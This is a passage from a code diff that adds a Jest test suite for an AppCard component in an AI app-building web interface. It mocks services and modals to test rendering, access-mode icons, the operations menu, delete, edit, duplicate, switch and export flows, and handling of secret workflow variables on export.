+  fetchWorkflowDraft: jest.fn(() => Promise.resolve({ environment_variables: [] })),
+}))
+
+jest.mock('@/service/explore', () => ({
+  fetchInstalledAppList: jest.fn(() => Promise.resolve({ installed_apps: [{ id: 'installed-1' }] })),
+}))
+
+jest.mock('@/service/access-control', () => ({
+  useGetUserCanAccessApp: () => ({
+    data: { result: true },
+    isLoading: false,
+  }),
+}))
+
+// Mock hooks
+const mockOpenAsyncWindow = jest.fn()
+jest.mock('@/hooks/use-async-window-open', () => ({
+  useAsyncWindowOpen: () => mockOpenAsyncWindow,
+}))
+
+// Mock utils
+jest.mock('@/utils/app-redirection', () => ({
+  getRedirection: jest.fn(),
+}))
+
+jest.mock('@/utils/var', () => ({
+  basePath: '',
+}))
+
+jest.mock('@/utils/time', () => ({
+  formatTime: () => 'Jan 1, 2024',
+}))
+
+// Mock dynamic imports
+jest.mock('next/dynamic', () => {
+  const React = require('react')
+  return (importFn: () => Promise<any>) => {
+    const fnString = importFn.toString()
+
+    if (fnString.includes('create-app-modal') || fnString.includes('explore/create-app-modal')) {
+      return function MockEditAppModal({ show, onHide, onConfirm }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'edit-app-modal' },
+          React.createElement('button', { 'onClick': onHide, 'data-testid': 'close-edit-modal' }, 'Close'),
+          React.createElement('button', {
+            'onClick': () => onConfirm?.({
+              name: 'Updated App',
+              icon_type: 'emoji',
+              icon: '🎯',
+              icon_background: '#FFEAD5',
+              description: 'Updated description',
+              use_icon_as_answer_icon: false,
+              max_active_requests: null,
+            }),
+            'data-testid': 'confirm-edit-modal',
+          }, 'Confirm'),
+        )
+      }
+    }
+    if (fnString.includes('duplicate-modal')) {
+      return function MockDuplicateAppModal({ show, onHide, onConfirm }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'duplicate-modal' },
+          React.createElement('button', { 'onClick': onHide, 'data-testid': 'close-duplicate-modal' }, 'Close'),
+          React.createElement('button', {
+            'onClick': () => onConfirm?.({
+              name: 'Copied App',
+              icon_type: 'emoji',
+              icon: '📋',
+              icon_background: '#E4FBCC',
+            }),
+            'data-testid': 'confirm-duplicate-modal',
+          }, 'Confirm'),
+        )
+      }
+    }
+    if (fnString.includes('switch-app-modal')) {
+      return function MockSwitchAppModal({ show, onClose, onSuccess }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'switch-modal' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-switch-modal' }, 'Close'),
+          React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'confirm-switch-modal' }, 'Switch'),
+        )
+      }
+    }
+    if (fnString.includes('base/confirm')) {
+      return function MockConfirm({ isShow, onCancel, onConfirm }: any) {
+        if (!isShow) return null
+        return React.createElement('div', { 'data-testid': 'confirm-dialog' },
+          React.createElement('button', { 'onClick': onCancel, 'data-testid': 'cancel-confirm' }, 'Cancel'),
+          React.createElement('button', { 'onClick': onConfirm, 'data-testid': 'confirm-confirm' }, 'Confirm'),
+        )
+      }
+    }
+    if (fnString.includes('dsl-export-confirm-modal')) {
+      return function MockDSLExportModal({ onClose, onConfirm }: any) {
+        return React.createElement('div', { 'data-testid': 'dsl-export-modal' },
+          React.createElement('button', { 'onClick': () => onClose?.(), 'data-testid': 'close-dsl-export' }, 'Close'),
+          React.createElement('button', { 'onClick': () => onConfirm?.(true), 'data-testid': 'confirm-dsl-export' }, 'Export with secrets'),
+          React.createElement('button', { 'onClick': () => onConfirm?.(false), 'data-testid': 'confirm-dsl-export-no-secrets' }, 'Export without secrets'),
+        )
+      }
+    }
+    if (fnString.includes('app-access-control')) {
+      return function MockAccessControl({ onClose, onConfirm }: any) {
+        return React.createElement('div', { 'data-testid': 'access-control-modal' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-access-control' }, 'Close'),
+          React.createElement('button', { 'onClick': onConfirm, 'data-testid': 'confirm-access-control' }, 'Confirm'),
+        )
+      }
+    }
+    return () => null
+  }
+})
+
+// Popover uses @headlessui/react portals - mock for controlled interaction testing
+jest.mock('@/app/components/base/popover', () => {
+  const MockPopover = ({ htmlContent, btnElement, btnClassName }: any) => {
+    const [isOpen, setIsOpen] = React.useState(false)
+    const computedClassName = typeof btnClassName === 'function' ? btnClassName(isOpen) : ''
+    return React.createElement('div', { 'data-testid': 'custom-popover', 'className': computedClassName },
+      React.createElement('div', {
+        'onClick': () => setIsOpen(!isOpen),
+        'data-testid': 'popover-trigger',
+      }, btnElement),
+      isOpen && React.createElement('div', {
+        'data-testid': 'popover-content',
+        'onMouseLeave': () => setIsOpen(false),
+      },
+      typeof htmlContent === 'function' ? htmlContent({ open: isOpen, onClose: () => setIsOpen(false), onClick: () => setIsOpen(false) }) : htmlContent,
+      ),
+    )
+  }
+  return { __esModule: true, default: MockPopover }
+})
+
+// Tooltip uses portals - minimal mock preserving popup content as title attribute
+jest.mock('@/app/components/base/tooltip', () => ({
+  __esModule: true,
+  default: ({ children, popupContent }: any) => React.createElement('div', { title: popupContent }, children),
+}))
+
+// TagSelector has API dependency (service/tag) - mock for isolated testing
+jest.mock('@/app/components/base/tag-management/selector', () => ({
+  __esModule: true,
+  default: ({ tags }: any) => {
+    const React = require('react')
+    return React.createElement('div', { 'aria-label': 'tag-selector' },
+      tags?.map((tag: any) => React.createElement('span', { key: tag.id }, tag.name)),
+    )
+  },
+}))
+
+// AppTypeIcon has complex icon mapping - mock for focused component testing
+jest.mock('@/app/components/app/type-selector', () => ({
+  AppTypeIcon: () => React.createElement('div', { 'data-testid': 'app-type-icon' }),
+}))
+
+// Import component after mocks
+import AppCard from './app-card'
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createMockApp = (overrides: Record<string, any> = {}) => ({
+  id: 'test-app-id',
+  name: 'Test App',
+  description: 'Test app description',
+  mode: AppModeEnum.CHAT,
+  icon: '🤖',
+  icon_type: 'emoji' as const,
+  icon_background: '#FFEAD5',
+  icon_url: null,
+  author_name: 'Test Author',
+  created_at: 1704067200,
+  updated_at: 1704153600,
+  tags: [],
+  use_icon_as_answer_icon: false,
+  max_active_requests: null,
+  access_mode: AccessMode.PUBLIC,
+  has_draft_trigger: false,
+  enable_site: true,
+  enable_api: true,
+  api_rpm: 60,
+  api_rph: 3600,
+  is_demo: false,
+  model_config: {} as any,
+  app_model_config: {} as any,
+  site: {} as any,
+  api_base_url: 'https://api.example.com',
+  ...overrides,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('AppCard', () => {
+  const mockApp = createMockApp()
+  const mockOnRefresh = jest.fn()
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockOpenAsyncWindow.mockReset()
+    mockWebappAuthEnabled = false
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<AppCard app={mockApp} />)
+      // Use title attribute to target specific element
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should display app name', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should display app description', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTitle('Test app description')).toBeInTheDocument()
+    })
+
+    it('should display author name', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTitle('Test Author')).toBeInTheDocument()
+    })
+
+    it('should render app icon', () => {
+      // AppIcon component renders the emoji icon from app data
+      const { container } = render(<AppCard app={mockApp} />)
+      // Check that the icon container is rendered (AppIcon renders within the card)
+      const iconElement = container.querySelector('[class*="icon"]') || container.querySelector('img')
+      expect(iconElement || screen.getByText(mockApp.icon)).toBeTruthy()
+    })
+
+    it('should render app type icon', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTestId('app-type-icon')).toBeInTheDocument()
+    })
+
+    it('should display formatted edit time', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByText(/edited/i)).toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    it('should handle different app modes', () => {
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle app with tags', () => {
+      const appWithTags = {
+        ...mockApp,
+        tags: [{ id: 'tag1', name: 'Tag 1', type: 'app', binding_count: 0 }],
+      }
+      render(<AppCard app={appWithTags} />)
+      // Verify the tag selector component renders
+      expect(screen.getByLabelText('tag-selector')).toBeInTheDocument()
+    })
+
+    it('should render with onRefresh callback', () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+  })
+
+  describe('Access Mode Icons', () => {
+    it('should show public icon for public access mode', () => {
+      const publicApp = { ...mockApp, access_mode: AccessMode.PUBLIC }
+      const { container } = render(<AppCard app={publicApp} />)
+      const tooltip = container.querySelector('[title="app.accessItemsDescription.anyone"]')
+      expect(tooltip).toBeInTheDocument()
+    })
+
+    it('should show lock icon for specific groups access mode', () => {
+      const specificApp = { ...mockApp, access_mode: AccessMode.SPECIFIC_GROUPS_MEMBERS }
+      const { container } = render(<AppCard app={specificApp} />)
+      const tooltip = container.querySelector('[title="app.accessItemsDescription.specific"]')
+      expect(tooltip).toBeInTheDocument()
+    })
+
+    it('should show organization icon for organization access mode', () => {
+      const orgApp = { ...mockApp, access_mode: AccessMode.ORGANIZATION }
+      const { container } = render(<AppCard app={orgApp} />)
+      const tooltip = container.querySelector('[title="app.accessItemsDescription.organization"]')
+      expect(tooltip).toBeInTheDocument()
+    })
+
+    it('should show external icon for external access mode', () => {
+      const externalApp = { ...mockApp, access_mode: AccessMode.EXTERNAL_MEMBERS }
+      const { container } = render(<AppCard app={externalApp} />)
+      const tooltip = container.querySelector('[title="app.accessItemsDescription.external"]')
+      expect(tooltip).toBeInTheDocument()
+    })
+  })
+
+  describe('Card Interaction', () => {
+    it('should handle card click', () => {
+      render(<AppCard app={mockApp} />)
+      const card = screen.getByTitle('Test App').closest('[class*="cursor-pointer"]')
+      expect(card).toBeInTheDocument()
+    })
+
+    it('should call getRedirection on card click', () => {
+      const { getRedirection } = require('@/utils/app-redirection')
+      render(<AppCard app={mockApp} />)
+      const card = screen.getByTitle('Test App').closest('[class*="cursor-pointer"]')!
+      fireEvent.click(card)
+      expect(getRedirection).toHaveBeenCalledWith(true, mockApp, mockPush)
+    })
+  })
+
+  describe('Operations Menu', () => {
+    it('should render operations popover', () => {
+      render(<AppCard app={mockApp} />)
+      expect(screen.getByTestId('custom-popover')).toBeInTheDocument()
+    })
+
+    it('should show edit option when popover is opened', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText('app.editApp')).toBeInTheDocument()
+      })
+    })
+
+    it('should show duplicate option when popover is opened', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText('app.duplicate')).toBeInTheDocument()
+      })
+    })
+
+    it('should show export option when popover is opened', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText('app.export')).toBeInTheDocument()
+      })
+    })
+
+    it('should show delete option when popover is opened', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText('common.operation.delete')).toBeInTheDocument()
+      })
+    })
+
+    it('should show switch option for chat mode apps', async () => {
+      const chatApp = { ...mockApp, mode: AppModeEnum.CHAT }
+      render(<AppCard app={chatApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText(/switch/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should show switch option for completion mode apps', async () => {
+      const completionApp = { ...mockApp, mode: AppModeEnum.COMPLETION }
+      render(<AppCard app={completionApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText(/switch/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should not show switch option for workflow mode apps', async () => {
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.queryByText(/switch/i)).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Modal Interactions', () => {
+    it('should open edit modal when edit button is clicked', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        const editButton = screen.getByText('app.editApp')
+        fireEvent.click(editButton)
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('edit-app-modal')).toBeInTheDocument()
+      })
+    })
+
+    it('should open duplicate modal when duplicate button is clicked', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        const duplicateButton = screen.getByText('app.duplicate')
+        fireEvent.click(duplicateButton)
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('duplicate-modal')).toBeInTheDocument()
+      })
+    })
+
+    it('should open confirm dialog when delete button is clicked', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        const deleteButton = screen.getByText('common.operation.delete')
+        fireEvent.click(deleteButton)
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('confirm-dialog')).toBeInTheDocument()
+      })
+    })
+
+    it('should close confirm dialog when cancel is clicked', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        const deleteButton = screen.getByText('common.operation.delete')
+        fireEvent.click(deleteButton)
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('confirm-dialog')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('cancel-confirm'))
+
+      await waitFor(() => {
+        expect(screen.queryByTestId('confirm-dialog')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should close edit modal when onHide is called', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.editApp'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('edit-app-modal')).toBeInTheDocument()
+      })
+
+      // Click close button to trigger onHide
+      fireEvent.click(screen.getByTestId('close-edit-modal'))
+
+      await waitFor(() => {
+        expect(screen.queryByTestId('edit-app-modal')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should close duplicate modal when onHide is called', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.duplicate'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('duplicate-modal')).toBeInTheDocument()
+      })
+
+      // Click close button to trigger onHide
+      fireEvent.click(screen.getByTestId('close-duplicate-modal'))
+
+      await waitFor(() => {
+        expect(screen.queryByTestId('duplicate-modal')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have correct card container styling', () => {
+      const { container } = render(<AppCard app={mockApp} />)
+      const card = container.querySelector('[class*="h-[160px]"]')
+      expect(card).toBeInTheDocument()
+    })
+
+    it('should have rounded corners', () => {
+      const { container } = render(<AppCard app={mockApp} />)
+      const card = container.querySelector('[class*="rounded-xl"]')
+      expect(card).toBeInTheDocument()
+    })
+  })
+
+  describe('API Callbacks', () => {
+    it('should call deleteApp API when confirming delete', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      // Open popover and click delete
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('common.operation.delete'))
+      })
+
+      // Confirm delete
+      await waitFor(() => {
+        expect(screen.getByTestId('confirm-dialog')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-confirm'))
+
+      await waitFor(() => {
+        expect(appsService.deleteApp).toHaveBeenCalled()
+      })
+    })
+
+    it('should call onRefresh after successful delete', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('common.operation.delete'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('confirm-dialog')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-confirm'))
+
+      await waitFor(() => {
+        expect(mockOnRefresh).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle delete failure', async () => {
+      (appsService.deleteApp as jest.Mock).mockRejectedValueOnce(new Error('Delete failed'))
+
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('common.operation.delete'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('confirm-dialog')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-confirm'))
+
+      await waitFor(() => {
+        expect(appsService.deleteApp).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: expect.stringContaining('Delete failed') })
+      })
+    })
+
+    it('should call updateAppInfo API when editing app', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.editApp'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('edit-app-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-edit-modal'))
+
+      await waitFor(() => {
+        expect(appsService.updateAppInfo).toHaveBeenCalled()
+      })
+    })
+
+    it('should call copyApp API when duplicating app', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.duplicate'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('duplicate-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-duplicate-modal'))
+
+      await waitFor(() => {
+        expect(appsService.copyApp).toHaveBeenCalled()
+      })
+    })
+
+    it('should call onPlanInfoChanged after successful duplication', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.duplicate'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('duplicate-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-duplicate-modal'))
+
+      await waitFor(() => {
+        expect(mockOnPlanInfoChanged).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle copy failure', async () => {
+      (appsService.copyApp as jest.Mock).mockRejectedValueOnce(new Error('Copy failed'))
+
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.duplicate'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('duplicate-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-duplicate-modal'))
+
+      await waitFor(() => {
+        expect(appsService.copyApp).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: 'app.newApp.appCreateFailed' })
+      })
+    })
+
+    it('should call exportAppConfig API when exporting', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(appsService.exportAppConfig).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle export failure', async () => {
+      (appsService.exportAppConfig as jest.Mock).mockRejectedValueOnce(new Error('Export failed'))
+
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(appsService.exportAppConfig).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: 'app.exportFailed' })
+      })
+    })
+  })
+
+  describe('Switch Modal', () => {
+    it('should open switch modal when switch button is clicked', async () => {
+      const chatApp = { ...mockApp, mode: AppModeEnum.CHAT }
+      render(<AppCard app={chatApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.switch'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('switch-modal')).toBeInTheDocument()
+      })
+    })
+
+    it('should close switch modal when close button is clicked', async () => {
+      const chatApp = { ...mockApp, mode: AppModeEnum.CHAT }
+      render(<AppCard app={chatApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.switch'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('switch-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('close-switch-modal'))
+
+      await waitFor(() => {
+        expect(screen.queryByTestId('switch-modal')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should call onRefresh after successful switch', async () => {
+      const chatApp = { ...mockApp, mode: AppModeEnum.CHAT }
+      render(<AppCard app={chatApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.switch'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('switch-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-switch-modal'))
+
+      await waitFor(() => {
+        expect(mockOnRefresh).toHaveBeenCalled()
+      })
+    })
+
+    it('should open switch modal for completion mode apps', async () => {
+      const completionApp = { ...mockApp, mode: AppModeEnum.COMPLETION }
+      render(<AppCard app={completionApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.switch'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('switch-modal')).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Open in Explore', () => {
+    it('should show open in explore option when popover is opened', async () => {
+      render(<AppCard app={mockApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+
+      await waitFor(() => {
+        expect(screen.getByText('app.openInExplore')).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Workflow Export with Environment Variables', () => {
+    it('should check for secret environment variables in workflow apps', async () => {
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(workflowService.fetchWorkflowDraft).toHaveBeenCalled()
+      })
+    })
+
+    it('should show DSL export modal when workflow has secret variables', async () => {
+      (workflowService.fetchWorkflowDraft as jest.Mock).mockResolvedValueOnce({
+        environment_variables: [{ value_type: 'secret', name: 'API_KEY' }],
+      })
+
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('dsl-export-modal')).toBeInTheDocument()
+      })
+    })
+
+    it('should check for secret environment variables in advanced chat apps', async () => {
+      const advancedChatApp = { ...mockApp, mode: AppModeEnum.ADVANCED_CHAT }
+      render(<AppCard app={advancedChatApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(workflowService.fetchWorkflowDraft).toHaveBeenCalled()
+      })
+    })
+
+    it('should close DSL export modal when onClose is called', async () => {
+      (workflowService.fetchWorkflowDraft as jest.Mock).mockResolvedValueOnce({
+        environment_variables: [{ value_type: 'secret', name: 'API_KEY' }],
+      })
+
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('dsl-export-modal')).toBeInTheDocument()
+      })
+
+      // Click close button to trigger onClose
+      fireEvent.click(screen.getByTestId('close-dsl-export'))
+
+      await waitFor(() => {
+        expect(screen.queryByTestId('dsl-export-modal')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle empty description', () => {
+      const appNoDesc = { ...mockApp, description: '' }
+      render(<AppCard app={appNoDesc} />)
+      expect(screen.getByText('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle long app name', () => {
+      const longNameApp = {
+        ...mockApp,
+        name: 'This is a very long app name that might overflow the container',
+      }
+      render(<AppCard app={longNameApp} />)
+      expect(screen.getByText(longNameApp.name)).toBeInTheDocument()
+    })
+
+    it('should handle empty tags array', () => {
+      const noTagsApp = { ...mockApp, tags: [] }
+      // With empty tags, the component should still render successfully
+      render(<AppCard app={noTagsApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle missing author name', () => {
+      const noAuthorApp = { ...mockApp, author_name: '' }
+      render(<AppCard app={noAuthorApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle null icon_url', () => {
+      const nullIconApp = { ...mockApp, icon_url: null }
+      // With null icon_url, the component should fall back to emoji icon and render successfully
+      render(<AppCard app={nullIconApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should use created_at when updated_at is not available', () => {
+      const noUpdateApp = { ...mockApp, updated_at: 0 }
+      render(<AppCard app={noUpdateApp} />)
+      expect(screen.getByText(/edited/i)).toBeInTheDocument()
+    })
+
+    it('should handle agent chat mode apps', () => {
+      const agentApp = { ...mockApp, mode: AppModeEnum.AGENT_CHAT }
+      render(<AppCard app={agentApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle advanced chat mode apps', () => {
+      const advancedApp = { ...mockApp, mode: AppModeEnum.ADVANCED_CHAT }
+      render(<AppCard app={advancedApp} />)
+      expect(screen.getByTitle('Test App')).toBeInTheDocument()
+    })
+
+    it('should handle apps with multiple tags', () => {
+      const multiTagApp = {
+        ...mockApp,
+        tags: [
+          { id: 'tag1', name: 'Tag 1', type: 'app', binding_count: 0 },
+          { id: 'tag2', name: 'Tag 2', type: 'app', binding_count: 0 },
+          { id: 'tag3', name: 'Tag 3', type: 'app', binding_count: 0 },
+        ],
+      }
+      render(<AppCard app={multiTagApp} />)
+      // Verify the tag selector renders (actual tag display is handled by the real TagSelector component)
+      expect(screen.getByLabelText('tag-selector')).toBeInTheDocument()
+    })
+
+    it('should handle edit failure', async () => {
+      (appsService.updateAppInfo as jest.Mock).mockRejectedValueOnce(new Error('Edit failed'))
+
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.editApp'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('edit-app-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-edit-modal'))
+
+      await waitFor(() => {
+        expect(appsService.updateAppInfo).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: expect.stringContaining('Edit failed') })
+      })
+    })
+
+    it('should close edit modal after successful edit', async () => {
+      render(<AppCard app={mockApp} onRefresh={mockOnRefresh} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.editApp'))
+      })
+
+      await waitFor(() => {
+        expect(screen.getByTestId('edit-app-modal')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByTestId('confirm-edit-modal'))
+
+      await waitFor(() => {
+        expect(mockOnRefresh).toHaveBeenCalled()
+      })
+    })
+
+    it('should render all app modes correctly', () => {
+      const modes = [
+        AppModeEnum.CHAT,
+        AppModeEnum.COMPLETION,
+        AppModeEnum.WORKFLOW,
+        AppModeEnum.ADVANCED_CHAT,
+        AppModeEnum.AGENT_CHAT,
+      ]
+
+      modes.forEach((mode) => {
+        const testApp = { ...mockApp, mode }
+        const { unmount } = render(<AppCard app={testApp} />)
+        expect(screen.getByTitle('Test App')).toBeInTheDocument()
+        unmount()
+      })
+    })
+
+    it('should handle workflow draft fetch failure during export', async () => {
+      (workflowService.fetchWorkflowDraft as jest.Mock).mockRejectedValueOnce(new Error('Fetch failed'))
+
+      const workflowApp = { ...mockApp, mode: AppModeEnum.WORKFLOW }
+      render(<AppCard app={workflowApp} />)
+
+      fireEvent.click(screen.getByTestId('popover-trigger'))
+      await waitFor(() => {
+        fireEvent.click(screen.getByText('app.export'))
+      })
+
+      await waitFor(() => {
